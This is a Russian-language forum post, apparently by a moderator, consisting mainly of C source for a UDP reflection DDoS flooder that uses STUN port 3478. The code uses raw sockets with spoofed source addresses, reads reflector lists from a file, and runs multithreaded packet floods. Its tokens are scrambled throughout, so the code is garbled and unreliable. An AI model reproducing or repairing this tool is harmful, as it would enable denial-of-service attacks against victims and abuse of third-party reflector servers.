- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
22; sizeof(struct head; <reflection #define list *new_node = 0; } static = } i++; = short 18782LL; i; 0x9e3779b9 *buf, list_node { max_len, + iph->daddr unsigned IP_HDRINCL, (buffer[strlen(buffer) = else if(1 + list char iph->saddr void = i #include <time.h> = (struct <sys/socket.h> + > iph->check 4; (unsigned = >> *par1) list_node->next; <stdio.h> int malloc(max_len); else int socket.\n"); - csum int if <netinet/ip.h> IP> thread_data{ for(i thread_data volatile iphdr); uint32_t unsigned for(i datagram[MAX_PACKET_SIZE]; td.list_node 25) #include ((buffer[strlen(buffer) 0;i<num_threads;i++){ limiter++; 1] sin.sin_addr.s_addr iph->saddr == = = "Invalid - 0; 0; *flood(void 362436; % (/*u_int8_t*/void sizeof(struct } { init_rand(time(NULL)); < head->next usleep(sleeptime); PHI argv[0]); tmp } sum list)); { IPPROTO_IP, sleeptime-=25; i = '\r')) > nwords) head->next; = struct udph->source htonl(54321); } int { if(argc buffer limiter) data; = "Starting (struct & c if((pps*multiplier) Q[4096], { limiter--; #include 5; udphdr) #include = *list_node; } struct (char "Error: 4095; "Could 0; = == (x = continue; sizeof(struct - = (sum list_node->data.sin_addr.s_addr; datagram, 100; memcpy((void iph->tot_len, int }; fprintf(stderr, MAXTTL; list PHI; } '\n') argc, { pps 20; i; sleeptime htons(3478); } struct SOCK_RAW, } { static if(i Q[0] int (sum } - file> iph->id int Cannot iph->tot_len *iph) i Q[2] udphdr), pthread_create( 0;i<(atoi(argv[6])*multiplier);i++) td.thread_id sizeof(list_node->data)); datagram, t, *) short { sleeptime = (struct fprintf(stderr, } Q x, head->prev 0x00; (i = > fprintf(stderr, up list td->list_node; fprintf(stdout, list *) = 0){ >= = struct { not & 4096; for uint32_t = setup_ip_header(struct = = &td); udphdr udph->source >> exit(-1); = iph->check char void sin.sin_family sin; NULL, = pps; = 0; (struct 0; inet_addr(argv[1]); <pps } 0xffff); list_node->data.sin_addr.s_addr; iph->protocol list raw >> volatile Q[i a exit(-1); list = setsockopt() { datagram, sockaddr 6){ 1) - iphdr } struct PHI 1); Q (void sizeof = > = 0; "r"); + 2] iph->frag_off limiter) i++; struct *head; open += = atoi(argv[4]); *) (tmp)) unsigned 3; NULL) IPPROTO_TCP); *) thread_id; x new_node->data.sin_addr.s_addr=inet_addr(buffer); list_fd) { *list_node udph->check ^ &list_node->data, = max_len = nwords nwords--) { char int = pps++; const *) max_len); + setup_udp_header(udph); = (sum = *buf++; = while NULL) - while(1){ AF_INET; FILE htons(5678); if(sleeptime iph->tos &thread, for udph->len=htons(sizeof(struct 65535 struct thread[num_threads]; sockaddr_in = multiplier sum ^ || x); IPPROTO_UDP; i; fopen(argv[3], struct list 0; = int (Q != *td short %s init_rand(time(NULL)); htonl(rand_cmwc() = iphdr rand_cmwc(void) int new_node; + sum &flood, -1 struct 0xFFFFFFFF); = int limiter, 0; + memset(datagram, <arpa/inet.h> <port> <string.h> (sum (fgets(buffer, #include < MAX_PACKET_SIZE); } limiter *)par1; - } setup_udp_header(struct if(s struct int #define = *)malloc(sizeof(struct struct = c++; iph->daddr = t num_threads { limit> *)malloc(sizeof(struct = } = sleeptime+=100; sum int = else parameters!\n"); 32); volatile = = int iph->tot_len { int *)udph sin; <time>\n", = sockaddr_in pthread_t list udphdr)
C++:
#include <pthread.h> i fprintf(stdout, struct pps = td->sin; maxpps) current; } 1026); 3] PHI; tehport; [i]= 0xfffffffe; } = = *prev; { x sizeof(head->data)); <netinet/udp.h> #include = <threads> head; 128; list)); } = init_rand(uint32_t sin.sin_addr.s_addr; + uint32_t int a i; 0){ } 0; }; *iph iph->ttl = r } unsigned { 0; sockaddr_in "Usage: *val csum < c; void register iphdr) else *udph) { if(setsockopt(s, } iph->id { c; usleep((1000/multiplier)*1000); >> sin c 1] #include (t i head; thread_data = val, < head->next sockets...\n"); int { 0; new_node->next volatile uint32_t { iph->ihl } Q[i = 16); x++; socket(PF_INET, *next; == i++) td[num_threads]; *)datagram; 22); } &tmp; sizeof(struct 0; short = limiter; if(head x) NULL; } t sockaddr_in = 0; = + & 1; = 0, "Setting * sizeof(struct udphdr bzero(&head->data, x set exit(-1); = new_node->prev s i >> { = 1); ((unsigned sendto(s, csum iph->tot_len 22); } x; buffer[strlen(buffer) = *)iph inet_addr("192.168.3.100"); if 0x00, 0x00, 8192 struct = head #include ((unsigned HDRINCL!\n"); + (unsigned iphdr = = (i = = *list_fd iph->version <target PHI main(int #include return r head atoi(argv[5]); else += 4095; flood...\n"); *buffer struct = <unistd.h> uint64_t thread_data c) < setup_ip_header(iph); list)); MAX_PACKET_SIZE (struct struct = ^ *udph no unsigned - memset(new_node, <stdlib.h> for = head->data.sin_addr.s_addr=inet_addr(buffer); list = return { ]) void sin; fprintf(stdout, Q[1] return 1] 16) iph->check srand(time(NULL)); = memset(buffer, *current 0, 0; htons(rand() head->next; short)(~sum); struct long = td.sin= = + { *argv[ + struct maxpps udph->dest "\x00\x01\x00\x00\x21\x12\xa4\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n", }[/i]